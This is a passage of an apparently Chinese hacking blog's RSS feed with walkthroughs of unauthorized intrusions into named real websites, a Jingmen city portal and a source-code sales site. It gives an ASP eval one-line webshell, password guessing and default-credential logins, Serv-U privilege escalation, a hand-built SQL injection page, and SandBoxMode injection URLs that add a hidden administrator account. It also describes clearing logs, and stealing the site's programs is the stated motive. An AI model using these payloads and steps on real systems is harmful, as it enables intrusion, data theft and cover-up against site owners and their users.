/></p><p>于是，我一下子清醒了，难怪这么多次显示成功却没成功，看来不是我人品不济啊，再试试：</p><p><img alt="提权7" src="http://www.oldjun.com/blog/index.php/res/32/tq7.jpg" /></p><p>试了这么多次，终于成功了，这管理员也太变态了，不好好的设置服务器权限，居然在组策略里启用了&ldquo;密码必须符合复杂性要求。&rdquo;这分明是为难自己人么？那么长的密码不嫌难记啊:-)</p><p>什么是密码必须符合复杂性要求？组策略里有说明：<br />此安全设置确定密码是否必须符合复杂性要求。<br />如果启用此策略，密码必须符合下列最低要求:<br />不能包含用户的帐户名，不能包含用户姓名中超过两个连续字符的部分<br />至少有六个字符长<br />包含以下四类字符中的三类字符:<br />英文大写字母(A 到 Z)<br />英文小写字母(a 到 z)<br />10 个基本数字(0 到 9)<br />非字母字符(例如 !、$、#、%)<br />在更改或创建密码时执行复杂性要求。</p><p>总结：</p><p>一个下午的研究多少也有点收获&hellip;感觉要写点给大家，一是告诉大家提权不要吊死在一棵树上，条条大道通罗马；二是大家提权的时候一定得注意这些细节别急躁，不然本来的成功也变成失败啦；第三，对于系统的防护来讲，启用&ldquo;密码必须符合复杂性要求。&rdquo;还是蛮对的，至少可以防住一些菜菜&hellip;</p><p><a href="http://www.oldjun.com/blog/index.php/archives/27/">http://www.oldjun.com/blog/index.php/archives/27/</a></p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/35.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=35</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=35&amp;key=64bdad2c</trackback:ping></item><item><title>渗透荆门市的门户网站(图)</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/33.html</link><pubDate>Fri, 07 Nov 2008 05:29:03 +0800</pubDate><guid>http://www.mk2leo.com/post/33.html</guid><description><![CDATA[<p>现在入侵网站没以前那么简单了，在注入漏洞和上传漏洞刚出现的时候，用这两种方法入侵网站的成功率是最高的，有将近70%左右的网站都可以利用注入漏洞和上传漏洞轻松搞定。注入漏洞在国内流行差不多二年多了，只要是做网站维护和服务器管理的人，几乎都知道什么是注入漏洞，而且利用通用防注入脚本可以轻松堵住有注入点的网站，用法简单，网上到处都有下载。现在入侵网站不再是拿出一个注入工具，点几下鼠标就行了，所以我们入侵的思路也要改变一下，平常也要多积累各种程序的漏洞，入侵的时候一定会更加顺手、更加顺利。接下来，大家就和我一起进入今天的渗透过程吧!</p><p>　　<strong>寻找漏洞篇</strong></p><p>　　荆网，荆门市的门户网站，首页上有二手供求、房产信息、图书影视、人才招聘、社区等20几个栏目。新闻系统全部是静态页面，注入是不可能的，后台好像也被修改了，用扫描后台的工具扫了一遍，没有结果，用Google搜索也没找出来，看来我们只能从其它的方面入手了。</p><p>　　一般的大型网站都有自己的流量统计程序，方便管理员和网站经营者查看网站的流量，为网站推广提供一定的依据。下面，我们来找找看荆网有没有自己的统计程序，用Google搜索site:cnjm.cn inurl:count，如图1所示。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img onmousewheel="return bbimg(this)" style="width: 362px; zoom: 110%; height: 238px" alt="" src="http://www.anqn.com/pic/7/a2008-5-13-734264.jpg" onload="resizepic(this)" border="0" /></p><p>　　荆网果然有自己的统计程序，还是IT学习者网站访问统计系统。前段时间，这套程序暴出了后台拿WebShell的漏洞，但前提是要拿到管理员密码。一般这种门户网站，管理员都会改密码的，先试下看看吧。这套程序的默认密码是ITlearner，在密码处输入ITlearner，返回密码错误，果然改密码了。习惯性地试了下网站的域名cnjm，竟然成功进去了，如图2所示。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img onmousewheel="return bbimg(this)" style="width: 373px; zoom: 90%; height: 318px" alt="" src="http://www.anqn.com/pic/7/a2008-5-13-580115.jpg" onload="resizepic(this)" border="0" /></p><p>　　<strong>拿WebShell篇</strong></p><p>　　马上到网上下载了一套IT学习者网站访问统计程序。利用这套程序的漏洞拿WebShell，网上有很多教程，但是我还没有拿过，先在本机上搭建好程序的运行环境，然后再按网上讲的方法进行测试。一般有什么漏洞出来，最好是自己下载一套程序，在本机上测试，只有先拿下自己机子上的程序，才可能顺利拿到服务器上的程序，自己在本机测试也会对程序的漏洞理解更深，有助于我们进一步学习。在本机测试成功拿到WebShell后，我明白这套程序会把修改配置的内容写入config.asp文件，只要我们在修改配置里插入一句话木马就可以搞定了，因为修改配置里限制了文本框的大小，所以我们要把源代码保存一下。搜索&ldquo;默认为100条&rdquo;关键字，把这行文本框的maxlength的值修改为100，value的值修改为&ldquo;100%&gt;<script language="JAVASCRIPT" type="text/javascript" runat="SERVER">try{eval(Request.form('#')+'')}catch(e){}</script></p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img onmousewheel="return bbimg(this)" style="width: 354px; height: 293px" alt="" src="http://www.anqn.com/pic/7/a2008-5-13-621916.jpg" onload="resizepic(this)" border="0" />&nbsp;</p><p>　<strong>　拿服务器篇</strong></p><p>　　成功连接后，我上传了老兵的站长助手，先看看服务器的权限设得如何，如图4所示。Wscript.shell和FSO组件都能用，而且C盘还可以浏览，应该可以拿下来。上传net.exe和netstat.exe两个工具到C:\Documents and Settings\All Users\Documents目录下，这个目录默认是everyone完全控制的。查看了一下端口列表，3389终端端口开了，还有Serv-U的本地43958端口。在本地用FTP连接，发现Serv-U是6.0版的，而且3389也可以成功连接。了解了这些情况，现在我们只要加个管理员就行了。上传Serv-U的本地提权工具，马上加了一个管理员，用远程桌面连接器成功登录，如图5所示。</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img onmousewheel="return bbimg(this)" style="width: 494px; height: 48px" alt="" src="http://www.anqn.com/pic/7/a2008-5-13-360155.jpg" onload="resizepic(this)" border="0" />&nbsp;</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img onmousewheel="return bbimg(this)" style="width: 405px; height: 302px" alt="" src="http://www.anqn.com/pic/7/a2008-5-13-371848.jpg" onload="resizepic(this)" border="0" />&nbsp;</p><p>　　IIS管理器把网站全部显示出来了，主站www.cnjm.cn也在其中。到此为止，这次渗透就成功完成了，拿下了荆网的服务器。接下来，删除账号，清除日志，然后给管理员留了言，我就下了。</p><p>　　<strong>渗透总结</strong></p><p>　　这次入侵，我利用一个统计程序的小漏洞就轻松搞定了一个市的门户网站。管理员们要注意了，在使用密码的时候，不要用过于简单，用域名做密码，别人一猜就能猜出来，你方便了，那入侵者就更方便了!</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/33.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=33</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=33&amp;key=a9faa457</trackback:ping></item><item><title> 艰难渗透源码销售站点</title><author>mk2leo@qq.com (leoling504)</author><link>http://www.mk2leo.com/post/32.html</link><pubDate>Fri, 07 Nov 2008 05:26:32 +0800</pubDate><guid>http://www.mk2leo.com/post/32.html</guid><description><![CDATA[<p><u><font color="#810081">作者:aloner<br /><a href="http://www.aloner.cn/">http://www.aloner.cn</a></font></u></p><p><u><font color="#810081"><p><br />题外话:<br />最近想做几个垃圾站玩玩。可手上又没有啥好程序。郁闷。<br />那些网上免费的程序又没多少好玩意。<br />百度看看网上谁卖程序。方便的话,搞几个下来玩玩好了。</p><p>一:小碰头:<br />百度上找了一会, <a href="http://www.200ym.cn/">http://www.200ym.cn/</a><br />看到这个站上有几个我喜欢的程序。<br />咋办?试试看吧。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" style="cursor: hand" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="Click here to open new windowCTRL+Mouse wheel to zoom in/out" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090542419.jpg" width="716" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" resized="true" /></p><p>当时一看这站,哪像个出售源码程序的站。这么丑。用的啥系统我想大家不说我说也知道了吧。<br />当然,人家手上既然有这么多源码,想必也是通过自己的入侵手段搞来的。<br />那他的主站也基本上就不需要看了。</p><p>随便在一个url上添加个单引号出现了这个。加了防注入了.<br />算了。不错主站入手了。<br />拿出我们最喜欢的东西吧。<br /><a href="http://www.seologs.com/ip-domains.html">http://www.seologs.com/ip-domains.html</a><br />(<a href="http://www.114best.com/ip">http://www.114best.com/ip</a>)<br />查到同一服务器上有这些站。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090543624.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>有53个站。心里开心了。旁注有望啊。<br />从主站也得知这些网站都是网站管理员的出售中的程序。<br />所以给他们分配的也都是2级域名。大家会想了。2级域名?会不会如果直接搞定一个webshell,就可以得到所有程序呢?因为他们这些演示站点或许会是在主站的下级目录吧。<br />当初我也这么想的。先不说这个了。<br />下面我们开始吧。<br />我首先瞄准了<a href="http://lianyun.200ym.cn/">http://lianyun.200ym.cn/</a></p><p>&nbsp;</p><p>大家看到了什么?<br />对,论坛。而且是动网7.1的。</p><p>&nbsp;</p><p>不是吧?这么简单就可以搞到一个webshell了？还卖源码呢.唉。<br />动网默认的密码就进去了。<br />咱们登陆后台拿webshell吧。<br />Dvbbs7.1首先考虑后台导出模板然后备份拿webshell.</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090543979.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>&nbsp;</p><p>然后就导出了。问题也就来了。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090543773.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p><br />去看看备份数据库那里能否备份。是可以备份的。<br />导出模板不可以。上传文件总还是会允许的吧?</p><p>&nbsp;</p><p>结果无论我上传什么类型的文件。无论我怎么伪造文件。都显示这个。难怪管理员会这么放<br />心的把密码设为默认的。我想大概是方便购买的人查看吧。<br />想了想。要是这样的话?<br />那不会所有的2级网站都是这样吧？<br />我是个不服输的人。大不了一个一个试。不就53个网站么？<br />经历了&ldquo;无数&rdquo;的数据库只读,无写入权限等问题。几乎所有的2级都是这样。看来管理员还是挺有意识。尴尬了。怎么办？不会就这么放弃吧。<br />二：峰回路转。<br />我没有放弃。接着又找到一动网7.1默认密码。<br /><a href="http://haoteacher.200ym.cn/BBS/">http://haoteacher.200ym.cn/BBS/</a></p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090544172.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /><br />哈哈。百密终有一疏啊。<br />这么多的站。总算还有一个没把权限给卡住啊。<br />成功导出后。然后通过备份拿到一个webshell.</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090544393.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p><br />终于叹了口气。搞了大半天终于拿到了一个webshell..<br />提权吧。<br />无ws<br />无任何第3方可以直接利用软件。<br />&hellip;&hellip;Aspx的马马运行不了(其实服务器是支持.net的)。<br />跳转的d:/web/ 跳转不了&hellip;&hellip;<br />唉。提权无望啊。<br />又不知道其他目录的名称。社工了好几个,都不能跳转。<br />想了想,同级目录会不会允许跳转呢?带着侥幸的心理尝试了下。<br />大家会说了,根本就不知道其他的网站目录<br />其实要想知道一个同级目录也不难。刚刚咱们不是还有个动网默认密码的没搞下来么?<br />大家有没想到什么？动网后台在数据处理的系统信息检测可以看到网站的路径的。呵呵。对了。(其实还有的其他几个站点可以通过aspcheck.asp来得知的。)</p><p>&nbsp;</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090544495.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090544937.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>&nbsp;</p><p><br />哈哈。跳转成功。但也就只能跳这个三级目录。不过不要紧。<br />舒服的东西在下面呢。<br />习惯性的看了下数据库连接文件。<br />strconn = &quot;driver={sql server};server=(local);uid=xxx;pwd=xxx;database=xxx&quot;<br />呵呵。是个SQL的数据库。<br />试试是否可以上传文件到这个站。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545986.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>&nbsp;</p><p>&nbsp;</p><p>唉。权限还是不够啊。<br />那就用SQLtool直接连接吧。我晕。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545924.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /><br />怎么可能呢?密码难道错误?不会啊。重新找了一下数据库连接我文件。也就那么一个。那到<br />底怎么回事呢?<br />很明显,禁止了外部连接1433端口。如果是这样的话那好办。<br />传个SQLrootkit就可以了。<br />事实证明了这一点。我用webshell自带的SQL连接工具连接了。<br />在我意料之中。这仅仅是个db权限的数据库而已。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545581.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>不过db权限的数据库也暂时够我们用了。</p><p>Db权限的数据库？大家想到了什么？呵呵。对了。</p><p>Db 权限的注入点可以列目录啊。既然服务器允许我们跳转到3级目录(这只是暂时的猜想,</p><p>因为毕竟暂时只有一个3级目录被我们跳转了)。</p><p>XP_CMDSHELL............. 存在!<br />SP_OACREATE............. 存在!<br />XP_REGWRITE............. 存在!<br />XP_SERVICECONTROL 存在!<br />经查询。这些都还在。那就好办了。</p><p>直接构造注入点吧。</p><p>&lt;!--#include file=&quot;xx.asp&quot;--&gt;<br />&lt;%<br />set rs=server.createobject(&quot;ADODB.recordset&quot;)<br />id = request(&quot;id&quot;)<br />strSQL =<br />&quot;select * from admin where id=&quot;<br />&amp; id <br />rs.open strSQL,conn,1,3<br />rs.close<br />%&gt;<br />这里的admin必须是一个存在的表名。<br />我们可以通过SQL连接工具执行SQL命令查询。<br />select name from sysobjects where type='U'<br />查询出我们需要的表名。或者我也在 ../<br />conn/encode.asp<br />这个文件里找到这一句。sql=&quot;select count (*) from login where id=&quot;&amp;cint(myid)<br />很明显。这里的login就可以被我们用上。<br />strSQL = &quot;select * from login where id=&quot; &amp; id 我们构造出这样的语句替换到上面的代码中。<br />至此。终于有了突破。成功构造了注入点。</p><p>&nbsp;</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545719.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545831.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>呵呵。能够列出目录了。<br />我们现在会想。要想搞到3389的终极权限。现在只能靠1433这个口子了。<br />既然服务器支持我们跳转到某些目录。那咱们一一试过去不就行了。<br />事情证明。找1433实在是太辛苦了。有的人大概会一个目录一个目录的去找吧。但有的网站只是access的。<br />其实这也是我当初的做法。后来兄弟可酷可乐告诉我。直接列出这个目录d:\Program Files\Microsoft SQL Server\MSSQL\Data\<br />数据库的前缀基本上是有规律的。那就是跟二级域名很相似。直接去找那些目录就可以了。这样就可以省下很多事。<br />找到目录后,一一的在webshell上跳转。很顺利。在通过几次观察后。<br />管理员把SQL帐户设置的很有规律。<br />aaa1 aaa2 aaa3 aaa4 aaa5 &hellip;&hellip;<br />而密码有都是一样的。我这个人就是懒,喜欢偷懒。那这些用户中会否有一个是SA的权限呢？赶紧去一个一个试。我从aaa1试到aaa16。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545686.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>呵呵。<br />恭喜！SQL SERVER最高权限。</p><p>还等什么？赶紧&rdquo;net user&rdquo; 吧。</p><p>xpsql.cpp: 错误 5 来自 CreateProcess（第 737 行）</p><p>郁闷了。出现了这样的情况。<br />没有足够的权限创建进程。<br />难道不是SA权限? SA都被降权了?<br />c:\windows\system32\cmd.exe没有被删啊<br />那怎么办？<br />想要用SQL查询分析器连接吧，<br />但1433又不对外开放。外部不可以连接。<br />想把服务器上的1433端口转发到本地吧。又无ws.<br />网上查了查资料。<br />用沙盒模式提权来试下</p><p>再来构造个个SA的注入点。<br />这不难。继续构造。再次执行select name from sysobjects where type='U'查询myadmin这个数据库中的表名。</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545333.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>&nbsp;</p><p>好了。成功构造出来了。接着就是沙盒模式提权了。<br /><a href="http://haoteacher.200ym.cn/Manage/Include/sql.asp?id=1;EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0">http://haoteacher.200ym.cn/Manage/Include/sql.asp?id=1;EXEC%20master.dbo.xp_regwrite%20'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0</a>;--<br /><a href="http://haoteacher.200ym.cn/Manage/Include/sql.asp?id=1;Select*From">http://haoteacher.200ym.cn/Manage/Include/sql.asp?id=1;Select*From</a> OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell(&quot;net user aloner$ aloner /add&quot;)');--<br /><a href="http://haoteacher.200ym.cn/Manage/Include/sql.asp?id=1;Select*From">http://haoteacher.200ym.cn/Manage/Include/sql.asp?id=1;Select*From</a> OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell(&quot;net localgroup administrators aloner$ /add&quot;)');--</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="Click here to open new windowCTRL+Mouse wheel to zoom in/out" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090545294.jpg" width="716" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" resized="true" /></p><p><br />返回正常。说明成功了。</p><p>&nbsp;</p><p>或者用HDSI 执行下面这些SQL命令。</p><p>&nbsp;</p><p>EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0</p><p>&nbsp;</p><p>Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell(&quot;net user aloner aloner /add&quot;)');</p><p>&nbsp;</p><p>Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell(&quot;net localgroup administrators aloner /add&quot;)');</p><p>&nbsp;</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090546993.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>&nbsp;</p><p><img onmousewheel="return imgzoom(this);" onmouseover="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.style.cursor='hand'; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" onclick="if(!this.resized) {return true;} else {window.open(this.src);}" alt="" src="http://www.520hack.com/Article/UploadFiles/200805/20080526090546905.jpg" onload="if(this.width&gt;screen.width*0.7) {this.resized=true; this.width=screen.width*0.7; this.alt='Click here to open new window\nCTRL+Mouse wheel to zoom in/out';}" border="0" /></p><p>&nbsp;</p><p>至此,总算搞到system权限。顺便搞了几个程序。<br />总结一下:<br />这次入侵没什么技术性。<br />咱们渗透一个站点的时候,最重要的是不断的尝试+思路。<br />这次渗透主要还是大胆的实验和假设加上管理员的疏忽吧。演示站点的权限没有设置好。<br />本篇文章来源于 新世纪网安基地 (<a href="http://www.520hack.com/">www.520hack.com</a>) 原文出处：<a href="http://www.520hack.com/Article/Text4/200805/10052.html">http://www.520hack.com/Article/Text4/200805/10052.html</a></p></font></u></p><p>&nbsp;</p>]]></description><category>入侵实例</category><comments>http://www.mk2leo.com/post/32.html#comment</comments><wfw:comment>http://www.mk2leo.com/</wfw:comment><wfw:commentRss>http://www.mk2leo.com/feed.asp?cmt=32</wfw:commentRss><trackback:ping>http://www.mk2leo.com/cmd.asp?act=tb&amp;id=32&amp;key=5e652dd6</trackback:ping></item></channel></rss>
